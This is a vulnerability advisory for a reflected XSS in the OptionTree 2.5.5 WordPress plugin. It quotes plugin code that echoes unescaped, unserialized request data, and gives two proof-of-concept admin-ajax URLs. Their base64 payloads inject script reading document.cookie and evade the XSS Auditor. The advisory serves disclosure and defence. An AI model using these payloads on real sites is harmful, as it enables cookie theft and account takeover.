OptionTree 2.5.5 Reflected XSS

Datetime:2016-08-22 21:57:45          Topic: XSS Vulnerability           Share

23 Jun 2016

Homepage:

https://pl.wordpress.org/plugins/option-tree/

Description:

Items from $_REQUEST['settings'] are not escaped.

So we can create $field['id'] which will be displayed without esc_attr function.

File: option-tree\ot-loader.php

add_action( 'wp_ajax_add_list_item', array( $this, 'add_list_item' ) );

public function add_list_item() {
	ot_list_item_view( $_REQUEST['name'], $_REQUEST['count'], array(), $_REQUEST['post_id'], $_REQUEST['get_option'], unserialize( ot_decode( $_REQUEST['settings'] ) ), $_REQUEST['type'] );
	die();
}

File: option-tree\includes\ot-functions-admin.php

function ot_decode( $value ) {
	$func = 'base64' . '_decode';
	return $func( $value );
}

function ot_list_item_view( $name, $key, $list_item = array(), $post_id = 0, $get_option = '', $settings = array(), $type = '' ) {

    /* required title setting */
    $required_setting = array(
      array(
        'id'        => 'title',
        'label'     => __( 'Title', 'option-tree' ),
        'desc'      => '',
        'std'       => '',
        'type'      => 'text',
        'rows'      => '',
        'class'     => 'option-tree-setting-title',
        'post_type' => '',
        'choices'   => array()
      )
    );

    /* load the old filterable slider settings */
    if ( 'slider' == $type ) {

      $settings = ot_slider_settings( $name );

    }

    /* if no settings array load the filterable list item settings */
    if ( empty( $settings ) ) {

      $settings = ot_list_item_settings( $name );

    }

    /* merge the two settings array */
    $settings = array_merge( $required_setting, $settings );

    echo '
    <div class="option-tree-setting">
      <div class="open">' . ( isset( $list_item['title'] ) ? esc_attr( $list_item['title'] ) : '' ) . '</div>
      <div class="button-section">
        <a href="javascript:void(0);" class="option-tree-setting-edit option-tree-ui-button button left-item" title="' . __( 'Edit', 'option-tree' ) . '">
          <span class="icon ot-icon-pencil"></span>' . __( 'Edit', 'option-tree' ) . '
        </a>
        <a href="javascript:void(0);" class="option-tree-setting-remove option-tree-ui-button button button-secondary light right-item" title="' . __( 'Delete', 'option-tree' ) . '">
          <span class="icon ot-icon-trash-o"></span>' . __( 'Delete', 'option-tree' ) . '
        </a>
      </div>
      <div class="option-tree-setting-body">';

      foreach( $settings as $field ) {

        // Set field value
        $field_value = isset( $list_item[$field['id']] ) ? $list_item[$field['id']] : '';

        /* set default to standard value */
        if ( isset( $field['std'] ) ) {
          $field_value = ot_filter_std_value( $field_value, $field['std'] );
        }

        // filter the title label and description
        if ( $field['id'] == 'title' ) {

          // filter the label
          $field['label'] = apply_filters( 'ot_list_item_title_label', $field['label'], $name );

          // filter the description
          $field['desc'] = apply_filters( 'ot_list_item_title_desc', $field['desc'], $name );

        }

        /* make life easier */
        $_field_name = $get_option ? $get_option . '[' . $name . ']' : $name;

        /* build the arguments array */
        $_args = array(
          'type'              => $field['type'],
          'field_id'          => $name . '_' . $field['id'] . '_' . $key,
          'field_name'        => $_field_name . '[' . $key . '][' . $field['id'] . ']',
          'field_value'       => $field_value,
          'field_desc'        => isset( $field['desc'] ) ? $field['desc'] : '',
          'field_std'         => isset( $field['std'] ) ? $field['std'] : '',
          'field_rows'        => isset( $field['rows'] ) ? $field['rows'] : 10,
          'field_post_type'   => isset( $field['post_type'] ) && ! empty( $field['post_type'] ) ? $field['post_type'] : 'post',
          'field_taxonomy'    => isset( $field['taxonomy'] ) && ! empty( $field['taxonomy'] ) ? $field['taxonomy'] : 'category',
          'field_min_max_step'=> isset( $field['min_max_step'] ) && ! empty( $field['min_max_step'] ) ? $field['min_max_step'] : '0,100,1',
          'field_class'       => isset( $field['class'] ) ? $field['class'] : '',
          'field_condition'   => isset( $field['condition'] ) ? $field['condition'] : '',
          'field_operator'    => isset( $field['operator'] ) ? $field['operator'] : 'and',
          'field_choices'     => isset( $field['choices'] ) && ! empty( $field['choices'] ) ? $field['choices'] : array(),
          'field_settings'    => isset( $field['settings'] ) && ! empty( $field['settings'] ) ? $field['settings'] : array(),
          'post_id'           => $post_id,
          'get_option'        => $get_option
        );

        $conditions = '';

        /* setup the conditions */
        if ( isset( $field['condition'] ) && ! empty( $field['condition'] ) ) {

          /* doing magic on the conditions so they work in a list item */
          $conditionals = explode( ',', $field['condition'] );
          foreach( $conditionals as $condition ) {
            $parts = explode( ':', $condition );
            if ( isset( $parts[0] ) ) {
              $field['condition'] = str_replace( $condition, $name . '_' . $parts[0] . '_' . $key . ':' . $parts[1], $field['condition'] );
            }
          }

          $conditions = ' data-condition="' . $field['condition'] . '"';
          $conditions.= isset( $field['operator'] ) && in_array( $field['operator'], array( 'and', 'AND', 'or', 'OR' ) ) ? ' data-operator="' . $field['operator'] . '"' : '';

        }

        // Build the setting CSS class
        if ( ! empty( $_args['field_class'] ) ) {

          $classes = explode( ' ', $_args['field_class'] );

          foreach( $classes as $_key => $value ) {

            $classes[$_key] = $value . '-wrap';

          }

          $class = 'format-settings ' . implode( ' ', $classes );

        } else {

          $class = 'format-settings';

        }

        /* option label */
        echo '<div id="setting_' . $_args['field_id'] . '" class="' . $class . '"' . $conditions . '>';

          /* don't show title with textblocks */
          if ( $_args['type'] != 'textblock' && ! empty( $field['label'] ) ) {
            echo '<div class="format-setting-label">';
              echo '<h3 class="label">' . esc_attr( $field['label'] ) . '</h3>';
            echo '</div>';
          }

          /* only allow simple textarea inside a list-item due to known DOM issues with wp_editor() */
          if ( apply_filters( 'ot_override_forced_textarea_simple', false, $field['id'] ) == false && $_args['type'] == 'textarea' )
            $_args['type'] = 'textarea-simple';

          /* option body, list-item is not allowed inside another list-item */
          if ( $_args['type'] !== 'list-item' && $_args['type'] !== 'slider' ) {
            echo ot_display_by_type( $_args );
          }

        echo '</div>';

      }

      echo '</div>';

    echo '</div>';

  }

Similar issue exists also inside ot_social_links_view() .

Proof of Concept:

XSS visible for all logged users.

Because datas are base64 encoded and serialized Google Chrome XSS Auditor is bypassed.

http://wp/wp-admin/admin-ajax.php?action=add_list_item&settings=YToxOntpOjA7YToxOntzOjI6ImlkIjtzOjQzOiIiIj48c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmNvb2tpZSk7PC9zY3JpcHQ%2BIjt9fQ%3D%3D

or

http://wp/wp-admin/admin-ajax.php?action=add_social_links&settings=YToxOntpOjA7YToxOntzOjI6ImlkIjtzOjQzOiIiIj48c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmNvb2tpZSk7PC9zY3JpcHQ%2BIjt9fQ%3D%3D

Timeline:

  • 02-12-2015: Discovered
  • 02-12-2015: Vendor notified
  • 10-02-2016: Version 2.6.0 released, issue resolved




About List